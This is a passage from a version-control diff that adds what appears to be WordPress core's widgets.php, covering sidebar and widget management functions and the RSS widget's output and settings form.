+	 * @param int|string $index   Index, name, or ID of the dynamic sidebar.
+	 */
+	return apply_filters( 'dynamic_sidebar_has_widgets', $did_one, $index );
+}
+
+/**
+ * Determines whether a given widget is displayed on the front end.
+ *
+ * Either $callback or $id_base can be used
+ * $id_base is the first argument when extending WP_Widget class
+ * Without the optional $widget_id parameter, returns the ID of the first sidebar
+ * in which the first instance of the widget with the given callback or $id_base is found.
+ * With the $widget_id parameter, returns the ID of the sidebar where
+ * the widget with that callback/$id_base AND that ID is found.
+ *
+ * NOTE: $widget_id and $id_base are the same for single widgets. To be effective
+ * this function has to run after widgets have initialized, at action {@see 'init'} or later.
+ * 
+ * For more information on this and similar theme functions, check out
+ * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ 
+ * Conditional Tags} article in the Theme Developer Handbook.
+ * 
+ * @since 2.2.0
+ *
+ * @global array $wp_registered_widgets
+ *
+ * @param string|false $callback      Optional, Widget callback to check. Default false.
+ * @param int|false    $widget_id     Optional. Widget ID. Optional, but needed for checking. Default false.
+ * @param string|false $id_base       Optional. The base ID of a widget created by extending WP_Widget. Default false.
+ * @param bool         $skip_inactive Optional. Whether to check in 'wp_inactive_widgets'. Default true.
+ * @return string|false False if widget is not active or id of sidebar in which the widget is active.
+ */
+function is_active_widget( $callback = false, $widget_id = false, $id_base = false, $skip_inactive = true ) {
+	global $wp_registered_widgets;
+
+	$sidebars_widgets = wp_get_sidebars_widgets();
+
+	if ( is_array($sidebars_widgets) ) {
+		foreach ( $sidebars_widgets as $sidebar => $widgets ) {
+			if ( $skip_inactive && ( 'wp_inactive_widgets' === $sidebar || 'orphaned_widgets' === substr( $sidebar, 0, 16 ) ) ) {
+				continue;
+			}
+
+			if ( is_array($widgets) ) {
+				foreach ( $widgets as $widget ) {
+					if ( ( $callback && isset($wp_registered_widgets[$widget]['callback']) && $wp_registered_widgets[$widget]['callback'] == $callback ) || ( $id_base && _get_widget_id_base($widget) == $id_base ) ) {
+						if ( !$widget_id || $widget_id == $wp_registered_widgets[$widget]['id'] )
+							return $sidebar;
+					}
+				}
+			}
+		}
+	}
+	return false;
+}
+
+/**
+ * Determines whether the dynamic sidebar is enabled and used by the theme.
+ * 
+ * For more information on this and similar theme functions, check out
+ * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ 
+ * Conditional Tags} article in the Theme Developer Handbook.
+ * 
+ * @since 2.2.0
+ *
+ * @global array $wp_registered_widgets
+ * @global array $wp_registered_sidebars
+ *
+ * @return bool True, if using widgets. False, if not using widgets.
+ */
+function is_dynamic_sidebar() {
+	global $wp_registered_widgets, $wp_registered_sidebars;
+	$sidebars_widgets = get_option('sidebars_widgets');
+	foreach ( (array) $wp_registered_sidebars as $index => $sidebar ) {
+		if ( ! empty( $sidebars_widgets[ $index ] ) ) {
+			foreach ( (array) $sidebars_widgets[$index] as $widget )
+				if ( array_key_exists($widget, $wp_registered_widgets) )
+					return true;
+		}
+	}
+	return false;
+}
+
+/**
+ * Determines whether a sidebar is in use.
+ * 
+ * For more information on this and similar theme functions, check out
+ * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ 
+ * Conditional Tags} article in the Theme Developer Handbook.
+ * 
+ * @since 2.8.0
+ *
+ * @param string|int $index Sidebar name, id or number to check.
+ * @return bool true if the sidebar is in use, false otherwise.
+ */
+function is_active_sidebar( $index ) {
+	$index = ( is_int($index) ) ? "sidebar-$index" : sanitize_title($index);
+	$sidebars_widgets = wp_get_sidebars_widgets();
+	$is_active_sidebar = ! empty( $sidebars_widgets[$index] );
+
+	/**
+	 * Filters whether a dynamic sidebar is considered "active".
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param bool       $is_active_sidebar Whether or not the sidebar should be considered "active".
+	 *                                      In other words, whether the sidebar contains any widgets.
+	 * @param int|string $index             Index, name, or ID of the dynamic sidebar.
+	 */
+	return apply_filters( 'is_active_sidebar', $is_active_sidebar, $index );
+}
+
+//
+// Internal Functions
+//
+
+/**
+ * Retrieve full list of sidebars and their widget instance IDs.
+ *
+ * Will upgrade sidebar widget list, if needed. Will also save updated list, if
+ * needed.
+ *
+ * @since 2.2.0
+ * @access private
+ *
+ * @global array $_wp_sidebars_widgets
+ * @global array $sidebars_widgets
+ *
+ * @param bool $deprecated Not used (argument deprecated).
+ * @return array Upgraded list of widgets to version 3 array format when called from the admin.
+ */
+function wp_get_sidebars_widgets( $deprecated = true ) {
+	if ( $deprecated !== true )
+		_deprecated_argument( __FUNCTION__, '2.8.1' );
+
+	global $_wp_sidebars_widgets, $sidebars_widgets;
+
+	// If loading from front page, consult $_wp_sidebars_widgets rather than options
+	// to see if wp_convert_widget_settings() has made manipulations in memory.
+	if ( !is_admin() ) {
+		if ( empty($_wp_sidebars_widgets) )
+			$_wp_sidebars_widgets = get_option('sidebars_widgets', array());
+
+		$sidebars_widgets = $_wp_sidebars_widgets;
+	} else {
+		$sidebars_widgets = get_option('sidebars_widgets', array());
+	}
+
+	if ( is_array( $sidebars_widgets ) && isset($sidebars_widgets['array_version']) )
+		unset($sidebars_widgets['array_version']);
+
+	/**
+	 * Filters the list of sidebars and their widgets.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param array $sidebars_widgets An associative array of sidebars and their widgets.
+	 */
+	return apply_filters( 'sidebars_widgets', $sidebars_widgets );
+}
+
+/**
+ * Set the sidebar widget option to update sidebars.
+ *
+ * @since 2.2.0
+ * @access private
+ *
+ * @global array $_wp_sidebars_widgets
+ * @param array $sidebars_widgets Sidebar widgets and their settings.
+ */
+function wp_set_sidebars_widgets( $sidebars_widgets ) {
+	global $_wp_sidebars_widgets;
+
+	// Clear cached value used in wp_get_sidebars_widgets().
+	$_wp_sidebars_widgets = null;
+
+	if ( ! isset( $sidebars_widgets['array_version'] ) ) {
+		$sidebars_widgets['array_version'] = 3;
+	}
+
+	update_option( 'sidebars_widgets', $sidebars_widgets );
+}
+
+/**
+ * Retrieve default registered sidebars list.
+ *
+ * @since 2.2.0
+ * @access private
+ *
+ * @global array $wp_registered_sidebars
+ *
+ * @return array
+ */
+function wp_get_widget_defaults() {
+	global $wp_registered_sidebars;
+
+	$defaults = array();
+
+	foreach ( (array) $wp_registered_sidebars as $index => $sidebar )
+		$defaults[$index] = array();
+
+	return $defaults;
+}
+
+/**
+ * Convert the widget settings from single to multi-widget format.
+ *
+ * @since 2.8.0
+ *
+ * @global array $_wp_sidebars_widgets
+ *
+ * @param string $base_name
+ * @param string $option_name
+ * @param array  $settings
+ * @return array
+ */
+function wp_convert_widget_settings($base_name, $option_name, $settings) {
+	// This test may need expanding.
+	$single = $changed = false;
+	if ( empty($settings) ) {
+		$single = true;
+	} else {
+		foreach ( array_keys($settings) as $number ) {
+			if ( 'number' == $number )
+				continue;
+			if ( !is_numeric($number) ) {
+				$single = true;
+				break;
+			}
+		}
+	}
+
+	if ( $single ) {
+		$settings = array( 2 => $settings );
+
+		// If loading from the front page, update sidebar in memory but don't save to options
+		if ( is_admin() ) {
+			$sidebars_widgets = get_option('sidebars_widgets');
+		} else {
+			if ( empty($GLOBALS['_wp_sidebars_widgets']) )
+				$GLOBALS['_wp_sidebars_widgets'] = get_option('sidebars_widgets', array());
+			$sidebars_widgets = &$GLOBALS['_wp_sidebars_widgets'];
+		}
+
+		foreach ( (array) $sidebars_widgets as $index => $sidebar ) {
+			if ( is_array($sidebar) ) {
+				foreach ( $sidebar as $i => $name ) {
+					if ( $base_name == $name ) {
+						$sidebars_widgets[$index][$i] = "$name-2";
+						$changed = true;
+						break 2;
+					}
+				}
+			}
+		}
+
+		if ( is_admin() && $changed )
+			update_option('sidebars_widgets', $sidebars_widgets);
+	}
+
+	$settings['_multiwidget'] = 1;
+	if ( is_admin() )
+		update_option( $option_name, $settings );
+
+	return $settings;
+}
+
+/**
+ * Output an arbitrary widget as a template tag.
+ *
+ * @since 2.8.0
+ *
+ * @global WP_Widget_Factory $wp_widget_factory
+ *
+ * @param string $widget   The widget's PHP class name (see class-wp-widget.php).
+ * @param array  $instance Optional. The widget's instance settings. Default empty array.
+ * @param array  $args {
+ *     Optional. Array of arguments to configure the display of the widget.
+ *
+ *     @type string $before_widget HTML content that will be prepended to the widget's HTML output.
+ *                                 Default `<div class="widget %s">`, where `%s` is the widget's class name.
+ *     @type string $after_widget  HTML content that will be appended to the widget's HTML output.
+ *                                 Default `</div>`.
+ *     @type string $before_title  HTML content that will be prepended to the widget's title when displayed.
+ *                                 Default `<h2 class="widgettitle">`.
+ *     @type string $after_title   HTML content that will be appended to the widget's title when displayed.
+ *                                 Default `</h2>`.
+ * }
+ */
+function the_widget( $widget, $instance = array(), $args = array() ) {
+	global $wp_widget_factory;
+
+	if ( ! isset( $wp_widget_factory->widgets[ $widget ] ) ) {
+		/* translators: %s: register_widget() */
+		_doing_it_wrong( __FUNCTION__, sprintf( __( 'Widgets need to be registered using %s, before they can be displayed.' ), '<code>register_widget()</code>' ), '4.9.0' );
+		return;
+	}
+
+	$widget_obj = $wp_widget_factory->widgets[$widget];
+	if ( ! ( $widget_obj instanceof WP_Widget ) ) {
+		return;
+	}
+
+	$default_args = array(
+		'before_widget' => '<div class="widget %s">',
+		'after_widget'  => "</div>",
+		'before_title'  => '<h2 class="widgettitle">',
+		'after_title'   => '</h2>',
+	);
+	$args = wp_parse_args( $args, $default_args );
+	$args['before_widget'] = sprintf( $args['before_widget'], $widget_obj->widget_options['classname'] );
+
+	$instance = wp_parse_args($instance);
+
+	/**
+	 * Fires before rendering the requested widget.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $widget   The widget's class name.
+	 * @param array  $instance The current widget instance's settings.
+	 * @param array  $args     An array of the widget's sidebar arguments.
+	 */
+	do_action( 'the_widget', $widget, $instance, $args );
+
+	$widget_obj->_set(-1);
+	$widget_obj->widget($args, $instance);
+}
+
+/**
+ * Retrieves the widget ID base value.
+ *
+ * @since 2.8.0
+ *
+ * @param string $id Widget ID.
+ * @return string Widget ID base.
+ */
+function _get_widget_id_base( $id ) {
+	return preg_replace( '/-[0-9]+$/', '', $id );
+}
+
+/**
+ * Handle sidebars config after theme change
+ *
+ * @access private
+ * @since 3.3.0
+ *
+ * @global array $sidebars_widgets
+ */
+function _wp_sidebars_changed() {
+	global $sidebars_widgets;
+
+	if ( ! is_array( $sidebars_widgets ) )
+		$sidebars_widgets = wp_get_sidebars_widgets();
+
+	retrieve_widgets(true);
+}
+
+/**
+ * Look for "lost" widgets, this has to run at least on each theme change.
+ *
+ * @since 2.8.0
+ *
+ * @global array $wp_registered_sidebars
+ * @global array $sidebars_widgets
+ * @global array $wp_registered_widgets
+ *
+ * @param string|bool $theme_changed Whether the theme was changed as a boolean. A value
+ *                                   of 'customize' defers updates for the Customizer.
+ * @return array Updated sidebars widgets.
+ */
+function retrieve_widgets( $theme_changed = false ) {
+	global $wp_registered_sidebars, $sidebars_widgets, $wp_registered_widgets;
+
+	$registered_sidebars_keys = array_keys( $wp_registered_sidebars );
+	$registered_widgets_ids   = array_keys( $wp_registered_widgets );
+
+	if ( ! is_array( get_theme_mod( 'sidebars_widgets' ) ) )  {
+		if ( empty( $sidebars_widgets ) ) {
+			return array();
+		}
+
+		unset( $sidebars_widgets['array_version'] );
+
+		$sidebars_widgets_keys = array_keys( $sidebars_widgets );
+		sort( $sidebars_widgets_keys );
+		sort( $registered_sidebars_keys );
+
+		if ( $sidebars_widgets_keys === $registered_sidebars_keys ) {
+			$sidebars_widgets = _wp_remove_unregistered_widgets( $sidebars_widgets, $registered_widgets_ids );
+
+			return $sidebars_widgets;
+		}
+	}
+
+	// Discard invalid, theme-specific widgets from sidebars.
+	$sidebars_widgets = _wp_remove_unregistered_widgets( $sidebars_widgets, $registered_widgets_ids );
+	$sidebars_widgets = wp_map_sidebars_widgets( $sidebars_widgets );
+
+	// Find hidden/lost multi-widget instances.
+	$shown_widgets = call_user_func_array( 'array_merge', $sidebars_widgets );
+	$lost_widgets  = array_diff( $registered_widgets_ids, $shown_widgets );
+
+	foreach ( $lost_widgets as $key => $widget_id ) {
+		$number = preg_replace( '/.+?-([0-9]+)$/', '$1', $widget_id );
+
+		// Only keep active and default widgets.
+		if ( is_numeric( $number ) && (int) $number < 2 ) {
+			unset( $lost_widgets[ $key ] );
+		}
+	}
+	$sidebars_widgets['wp_inactive_widgets'] = array_merge( $lost_widgets, (array) $sidebars_widgets['wp_inactive_widgets'] );
+
+	if ( 'customize' !== $theme_changed ) {
+		wp_set_sidebars_widgets( $sidebars_widgets );
+	}
+
+	return $sidebars_widgets;
+}
+
+/**
+ * Compares a list of sidebars with their widgets against a whitelist.
+ *
+ * @since 4.9.0
+ * @since 4.9.2 Always tries to restore widget assignments from previous data, not just if sidebars needed mapping.
+ *
+ * @param array $existing_sidebars_widgets List of sidebars and their widget instance IDs.
+ * @return array Mapped sidebars widgets.
+ */
+function wp_map_sidebars_widgets( $existing_sidebars_widgets ) {
+	global $wp_registered_sidebars;
+
+	$new_sidebars_widgets = array(
+		'wp_inactive_widgets' => array(),
+	);
+
+	// Short-circuit if there are no sidebars to map.
+	if ( ! is_array( $existing_sidebars_widgets ) || empty( $existing_sidebars_widgets ) ) {
+		return $new_sidebars_widgets;
+	}
+
+	foreach ( $existing_sidebars_widgets as $sidebar => $widgets ) {
+		if ( 'wp_inactive_widgets' === $sidebar || 'orphaned_widgets' === substr( $sidebar, 0, 16 ) ) {
+			$new_sidebars_widgets['wp_inactive_widgets'] = array_merge( $new_sidebars_widgets['wp_inactive_widgets'], (array) $widgets );
+			unset( $existing_sidebars_widgets[ $sidebar ] );
+		}
+	}
+
+	// If old and new theme have just one sidebar, map it and we're done.
+	if ( 1 === count( $existing_sidebars_widgets ) && 1 === count( $wp_registered_sidebars ) ) {
+		$new_sidebars_widgets[ key( $wp_registered_sidebars ) ] = array_pop( $existing_sidebars_widgets );
+
+		return $new_sidebars_widgets;
+	}
+
+	// Map locations with the same slug.
+	$existing_sidebars = array_keys( $existing_sidebars_widgets );
+
+	foreach ( $wp_registered_sidebars as $sidebar => $name ) {
+		if ( in_array( $sidebar, $existing_sidebars, true ) ) {
+			$new_sidebars_widgets[ $sidebar ] = $existing_sidebars_widgets[ $sidebar ];
+			unset( $existing_sidebars_widgets[ $sidebar ] );
+		} else if ( ! array_key_exists( $sidebar, $new_sidebars_widgets ) ) {
+			$new_sidebars_widgets[ $sidebar ] = array();
+		}
+	}
+
+	// If there are more sidebars, try to map them.
+	if ( ! empty( $existing_sidebars_widgets ) ) {
+
+		/*
+		 * If old and new theme both have sidebars that contain phrases
+		 * from within the same group, make an educated guess and map it.
+		 */
+		$common_slug_groups = array(
+			array( 'sidebar', 'primary', 'main', 'right' ),
+			array( 'second', 'left' ),
+			array( 'sidebar-2', 'footer', 'bottom' ),
+			array( 'header', 'top' ),
+		);
+
+		// Go through each group...
+		foreach ( $common_slug_groups as $slug_group ) {
+
+			// ...and see if any of these slugs...
+			foreach ( $slug_group as $slug ) {
+
+				// ...and any of the new sidebars...
+				foreach ( $wp_registered_sidebars as $new_sidebar => $args ) {
+
+					// ...actually match!
+					if ( false === stripos( $new_sidebar, $slug ) && false === stripos( $slug, $new_sidebar ) ) {
+						continue;
+					}
+
+					// Then see if any of the existing sidebars...
+					foreach ( $existing_sidebars_widgets as $sidebar => $widgets ) {
+
+						// ...and any slug in the same group...
+						foreach ( $slug_group as $slug ) {
+
+							// ... have a match as well.
+							if ( false === stripos( $sidebar, $slug ) && false === stripos( $slug, $sidebar ) ) {
+								continue;
+							}
+
+							// Make sure this sidebar wasn't mapped and removed previously.
+							if ( ! empty( $existing_sidebars_widgets[ $sidebar ] ) ) {
+
+								// We have a match that can be mapped!
+								$new_sidebars_widgets[ $new_sidebar ] = array_merge( $new_sidebars_widgets[ $new_sidebar ], $existing_sidebars_widgets[ $sidebar ] );
+
+								// Remove the mapped sidebar so it can't be mapped again.
+								unset( $existing_sidebars_widgets[ $sidebar ] );
+
+								// Go back and check the next new sidebar.
+								continue 3;
+							}
+						} // endforeach ( $slug_group as $slug )
+					} // endforeach ( $existing_sidebars_widgets as $sidebar => $widgets )
+				} // endforeach foreach ( $wp_registered_sidebars as $new_sidebar => $args )
+			} // endforeach ( $slug_group as $slug )
+		} // endforeach ( $common_slug_groups as $slug_group )
+	}
+
+	// Move any left over widgets to inactive sidebar.
+	foreach ( $existing_sidebars_widgets as $widgets ) {
+		if ( is_array( $widgets ) && ! empty( $widgets ) ) {
+			$new_sidebars_widgets['wp_inactive_widgets'] = array_merge( $new_sidebars_widgets['wp_inactive_widgets'], $widgets );
+		}
+	}
+
+	// Sidebars_widgets settings from when this theme was previously active.
+	$old_sidebars_widgets = get_theme_mod( 'sidebars_widgets' );
+	$old_sidebars_widgets = isset( $old_sidebars_widgets['data'] ) ? $old_sidebars_widgets['data'] : false;
+
+	if ( is_array( $old_sidebars_widgets ) ) {
+
+		// Remove empty sidebars, no need to map those.
+		$old_sidebars_widgets = array_filter( $old_sidebars_widgets );
+
+		// Only check sidebars that are empty or have not been mapped to yet.
+		foreach ( $new_sidebars_widgets as $new_sidebar => $new_widgets ) {
+			if ( array_key_exists( $new_sidebar, $old_sidebars_widgets ) && ! empty( $new_widgets ) ) {
+				unset( $old_sidebars_widgets[ $new_sidebar ] );
+			}
+		}
+
+		// Remove orphaned widgets, we're only interested in previously active sidebars.
+		foreach ( $old_sidebars_widgets as $sidebar => $widgets ) {
+			if ( 'orphaned_widgets' === substr( $sidebar, 0, 16 ) ) {
+				unset( $old_sidebars_widgets[ $sidebar ] );
+			}
+		}
+
+		$old_sidebars_widgets = _wp_remove_unregistered_widgets( $old_sidebars_widgets );
+
+		if ( ! empty( $old_sidebars_widgets ) ) {
+
+			// Go through each remaining sidebar...
+			foreach ( $old_sidebars_widgets as $old_sidebar => $old_widgets ) {
+
+				// ...and check every new sidebar...
+				foreach ( $new_sidebars_widgets as $new_sidebar => $new_widgets ) {
+
+					// ...for every widget we're trying to revive.
+					foreach ( $old_widgets as $key => $widget_id ) {
+						$active_key = array_search( $widget_id, $new_widgets, true );
+
+						// If the widget is used elsewhere...
+						if ( false !== $active_key ) {
+
+							// ...and that elsewhere is inactive widgets...
+							if ( 'wp_inactive_widgets' === $new_sidebar ) {
+
+								// ...remove it from there and keep the active version...
+								unset( $new_sidebars_widgets['wp_inactive_widgets'][ $active_key ] );
+							} else {
+
+								// ...otherwise remove it from the old sidebar and keep it in the new one.
+								unset( $old_sidebars_widgets[ $old_sidebar ][ $key ] );
+							}
+						} // endif ( $active_key )
+					} // endforeach ( $old_widgets as $key => $widget_id )
+				} // endforeach ( $new_sidebars_widgets as $new_sidebar => $new_widgets )
+			} // endforeach ( $old_sidebars_widgets as $old_sidebar => $old_widgets )
+		} // endif ( ! empty( $old_sidebars_widgets ) )
+
+
+		// Restore widget settings from when theme was previously active.
+		$new_sidebars_widgets = array_merge( $new_sidebars_widgets, $old_sidebars_widgets );
+	}
+
+	return $new_sidebars_widgets;
+}
+
+/**
+ * Compares a list of sidebars with their widgets against a whitelist.
+ *
+ * @since 4.9.0
+ *
+ * @param array $sidebars_widgets List of sidebars and their widget instance IDs.
+ * @param array $whitelist        Optional. List of widget IDs to compare against. Default: Registered widgets.
+ * @return array Sidebars with whitelisted widgets.
+ */
+function _wp_remove_unregistered_widgets( $sidebars_widgets, $whitelist = array() ) {
+	if ( empty( $whitelist ) ) {
+		$whitelist = array_keys( $GLOBALS['wp_registered_widgets'] );
+	}
+
+	foreach ( $sidebars_widgets as $sidebar => $widgets ) {
+		if ( is_array( $widgets ) ) {
+			$sidebars_widgets[ $sidebar ] = array_intersect( $widgets, $whitelist );
+		}
+	}
+
+	return $sidebars_widgets;
+}
+
+/**
+ * Display the RSS entries in a list.
+ *
+ * @since 2.5.0
+ *
+ * @param string|array|object $rss RSS url.
+ * @param array $args Widget arguments.
+ */
+function wp_widget_rss_output( $rss, $args = array() ) {
+	if ( is_string( $rss ) ) {
+		$rss = fetch_feed($rss);
+	} elseif ( is_array($rss) && isset($rss['url']) ) {
+		$args = $rss;
+		$rss = fetch_feed($rss['url']);
+	} elseif ( !is_object($rss) ) {
+		return;
+	}
+
+	if ( is_wp_error($rss) ) {
+		if ( is_admin() || current_user_can('manage_options') )
+			echo '<p><strong>' . __( 'RSS Error:' ) . '</strong> ' . esc_html( $rss->get_error_message() ) . '</p>';
+		return;
+	}
+
+	$default_args = array( 'show_author' => 0, 'show_date' => 0, 'show_summary' => 0, 'items' => 0 );
+	$args = wp_parse_args( $args, $default_args );
+
+	$items = (int) $args['items'];
+	if ( $items < 1 || 20 < $items )
+		$items = 10;
+	$show_summary  = (int) $args['show_summary'];
+	$show_author   = (int) $args['show_author'];
+	$show_date     = (int) $args['show_date'];
+
+	if ( !$rss->get_item_quantity() ) {
+		echo '<ul><li>' . __( 'An error has occurred, which probably means the feed is down. Try again later.' ) . '</li></ul>';
+		$rss->__destruct();
+		unset($rss);
+		return;
+	}
+
+	echo '<ul>';
+	foreach ( $rss->get_items( 0, $items ) as $item ) {
+		$link = $item->get_link();
+		while ( stristr( $link, 'http' ) != $link ) {
+			$link = substr( $link, 1 );
+		}
+		$link = esc_url( strip_tags( $link ) );
+
+		$title = esc_html( trim( strip_tags( $item->get_title() ) ) );
+		if ( empty( $title ) ) {
+			$title = __( 'Untitled' );
+		}
+
+		$desc = @html_entity_decode( $item->get_description(), ENT_QUOTES, get_option( 'blog_charset' ) );
+		$desc = esc_attr( wp_trim_words( $desc, 55, ' [&hellip;]' ) );
+
+		$summary = '';
+		if ( $show_summary ) {
+			$summary = $desc;
+
+			// Change existing [...] to [&hellip;].
+			if ( '[...]' == substr( $summary, -5 ) ) {
+				$summary = substr( $summary, 0, -5 ) . '[&hellip;]';
+			}
+
+			$summary = '<div class="rssSummary">' . esc_html( $summary ) . '</div>';
+		}
+
+		$date = '';
+		if ( $show_date ) {
+			$date = $item->get_date( 'U' );
+
+			if ( $date ) {
+				$date = ' <span class="rss-date">' . date_i18n( get_option( 'date_format' ), $date ) . '</span>';
+			}
+		}
+
+		$author = '';
+		if ( $show_author ) {
+			$author = $item->get_author();
+			if ( is_object($author) ) {
+				$author = $author->get_name();
+				$author = ' <cite>' . esc_html( strip_tags( $author ) ) . '</cite>';
+			}
+		}
+
+		if ( $link == '' ) {
+			echo "<li>$title{$date}{$summary}{$author}</li>";
+		} elseif ( $show_summary ) {
+			echo "<li><a class='rsswidget' href='$link'>$title</a>{$date}{$summary}{$author}</li>";
+		} else {
+			echo "<li><a class='rsswidget' href='$link'>$title</a>{$date}{$author}</li>";
+		}
+	}
+	echo '</ul>';
+	$rss->__destruct();
+	unset($rss);
+}
+
+/**
+ * Display RSS widget options form.
+ *
+ * The options for what fields are displayed for the RSS form are all booleans
+ * and are as follows: 'url', 'title', 'items', 'show_summary', 'show_author',
+ * 'show_date'.
+ *
+ * @since 2.5.0
+ *
+ * @param array|string $args Values for input fields.
+ * @param array $inputs Override default display options.
+ */
+function wp_widget_rss_form( $args, $inputs = null ) {
+	$default_inputs = array( 'url' => true, 'title' => true, 'items' => true, 'show_summary' => true, 'show_author' => true, 'show_date' => true );
+	$inputs = wp_parse_args( $inputs, $default_inputs );
+
+	$args['title'] = isset( $args['title'] ) ? $args['title'] : '';
+	$args['url'] = isset( $args['url'] ) ? $args['url'] : '';
+	$args['items'] = isset( $args['items'] ) ? (int) $args['items'] : 0;
+
+	if ( $args['items'] < 1 || 20 < $args['items'] ) {
+		$args['items'] = 10;
+	}
+
+	$args['show_summary']   = isset( $args['show_summary'] ) ? (int) $args['show_summary'] : (int) $inputs['show_summary'];
+	$args['show_author']    = isset( $args['show_author'] ) ? (int) $args['show_author'] : (int) $inputs['show_author'];
+	$args['show_date']      = isset( $args['show_date'] ) ? (int) $args['show_date'] : (int) $inputs['show_date'];
+
+	if ( ! empty( $args['error'] ) ) {
+		echo '<p class="widget-error"><strong>' . __( 'RSS Error:' ) . '</strong> ' . esc_html( $args['error'] ) . '</p>';
+	}
+
+	$esc_number = esc_attr( $args['number'] );
+	if ( $inputs['url'] ) :
+?>
+	<p><label for="rss-url-<?php echo $esc_number; ?>"><?php _e( 'Enter the RSS feed URL here:' ); ?></label>
+	<input class="widefat" id="rss-url-<?php echo $esc_number; ?>" name="widget-rss[<?php echo $esc_number; ?>][url]" type="text" value="<?php echo esc_url( $args['url'] ); ?>" /></p>
+<?php endif; if ( $inputs['title'] ) : ?>
+	<p><label for="rss-title-<?php echo $esc_number; ?>"><?php _e( 'Give the feed a title (optional):' ); ?></label>
+	<input class="widefat" id="rss-title-<?php echo $esc_number; ?>" name="widget-rss[<?php echo $esc_number; ?>][title]" type="text" value="<?php echo esc_attr( $args['title'] ); ?>" /></p>
+<?php endif; if ( $inputs['items'] ) : ?>
+	<p><label for="rss-items-<?php echo $esc_number; ?>"><?php _e( 'How many items would you like to display?' ); ?></label>
+	<select id="rss-items-<?php echo $esc_number; ?>" name="widget-rss[<?php echo $esc_number; ?>][items]">
+	<?php
+	for ( $i = 1; $i <= 20; ++$i ) {
+		echo "<option value='$i' " . selected( $args['items'], $i, false ) . ">$i</option>";
+	}
+	?>
+	</select></p>
+<?php endif; if ( $inputs['show_summary'] ) : ?>
+	<p><input id="rss-show-summary-<?php echo $esc_number; ?>" name="widget-rss[<?php echo $esc_number; ?>][show_summary]" type="checkbox" value="1" <?php checked( $args['show_summary'] ); ?> />
+	<label for="rss-show-summary-<?php echo $esc_number; ?>"><?php _e( 'Display item content?' ); ?></label></p>
+<?php endif; if ( $inputs['show_author'] ) : ?>
+	<p><input id="rss-show-author-<?php echo $esc_number; ?>" name="widget-rss[<?php echo $esc_number; ?>][show_author]" type="checkbox" value="1" <?php checked( $args['show_author'] ); ?> />
+	<label for="rss-show-author-<?php echo $esc_number; ?>"><?php _e( 'Display item author if available?' ); ?></label></p>
+<?php endif; if ( $inputs['show_date'] ) : ?>
+	<p><input id="rss-show-date-<?php echo $esc_number; ?>" name="widget-rss[<?php echo $esc_number; ?>][show_date]" type="checkbox" value="1" <?php checked( $args['show_date'] ); ?>/>
+	<label for="rss-show-date-<?php echo $esc_number; ?>"><?php _e( 'Display item date?' ); ?></label></p>
+<?php
+	endif;
+	foreach ( array_keys($default_inputs) as $input ) :
+		if ( 'hidden' === $inputs[$input] ) :
+			$id = str_replace( '_', '-', $input );
+?>
+	<input type="hidden" id="rss-<?php echo esc_attr( $id ); ?>-<?php echo $esc_number; ?>" name="widget-rss[<?php echo $esc_number; ?>][<?php echo esc_attr( $input ); ?>]" value="<?php echo esc_attr( $args[ $input ] ); ?>" />
+<?php
+		endif;
+	endforeach;
+}
+
+/**
+ * Process RSS feed widget data and optionally retrieve feed items.
+ *
+ * The feed widget can not have more than 20 items or it will reset back to the
+ * default, which is 10.
+ *
+ * The resulting array has the feed title, feed url, feed link (from channel),
+ * feed items, error (if any), and whether to show summary, author, and date.
+ * All respectively in the order of the array elements.
+ *
+ * @since 2.5.0
+ *
+ * @param array $widget_rss RSS widget feed data. Expects unescaped data.
+ * @param bool $check_feed Optional, default is true. Whether to check feed for errors.
+ * @return array
+ */
+function wp_widget_rss_process( $widget_rss, $check_feed = true ) {
+	$items = (int) $widget_rss['items'];
+	if ( $items < 1 || 20 < $items )
+		$items = 10;
+	$url           = esc_url_raw( strip_tags( $widget_rss['url'] ) );
+	$title         = isset( $widget_rss['title'] ) ? trim( strip_tags( $widget_rss['title'] ) ) : '';
+	$show_summary  = isset( $widget_rss['show_summary'] ) ? (int) $widget_rss['show_summary'] : 0;
+	$show_author   = isset( $widget_rss['show_author'] ) ? (int) $widget_rss['show_author'] :0;
+	$show_date     = isset( $widget_rss['show_date'] ) ? (int) $widget_rss['show_date'] : 0;
+
+	if ( $check_feed ) {
+		$rss = fetch_feed($url);
+		$error = false;
+		$link = '';
+		if ( is_wp_error($rss) ) {
+			$error = $rss->get_error_message();
+		} else {
+			$link = esc_url(strip_tags($rss->get_permalink()));
+			while ( stristr($link, 'http') != $link )
+				$link = substr($link, 1);
+
+			$rss->__destruct();
+			unset($rss);
+		}
+	}
+
+	return compact( 'title', 'url', 'link', 'items', 'error', 'show_summary', 'show_author', 'show_date' );
+}
+
+/**
+ * Registers all of the default WordPress widgets on startup.
+ *
+ * Calls {@see 'widgets_init'} action after all of the WordPress widgets have been registered.
+ *
+ * @since 2.2.0
+ */
+function wp_widgets_init() {
+	if ( ! is_blog_installed() ) {
+		return;
+	}
+
+	register_widget( 'WP_Widget_Pages' );
+
+	register_widget( 'WP_Widget_Calendar' );
+
+	register_widget( 'WP_Widget_Archives' );
+
+	if ( get_option( 'link_manager_enabled' ) ) {
+		register_widget( 'WP_Widget_Links' );
+	}
+
+	register_widget( 'WP_Widget_Media_Audio' );
+
+	register_widget( 'WP_Widget_Media_Image' );
+
+	register_widget( 'WP_Widget_Media_Gallery' );
+
+	register_widget( 'WP_Widget_Media_Video' );
+
+	register_widget( 'WP_Widget_Meta' );
+
+	register_widget( 'WP_Widget_Search' );
+
+	register_widget( 'WP_Widget_Text' );
+
+	register_widget( 'WP_Widget_Categories' );
+
+	register_widget( 'WP_Widget_Recent_Posts' );
+
+	register_widget( 'WP_Widget_Recent_Comments' );
+
+	register_widget( 'WP_Widget_RSS' );
+
+	register_widget( 'WP_Widget_Tag_Cloud' );
+
+	register_widget( 'WP_Nav_Menu_Widget' );
+
+	register_widget( 'WP_Widget_Custom_HTML' );
+
+	/**
+	 * Fires after all default WordPress widgets have been registered.
+	 *
+	 * @since 2.2.0
+	 */
+	do_action( 'widgets_init' );
+}
Index: /tags/5.0.20/src/wp-includes/widgets/class-wp-nav-menu-widget.php
===================================================================
--- /tags/5.0.20/src/wp-includes/widgets/class-wp-nav-menu-widget.php	(revision 56912)
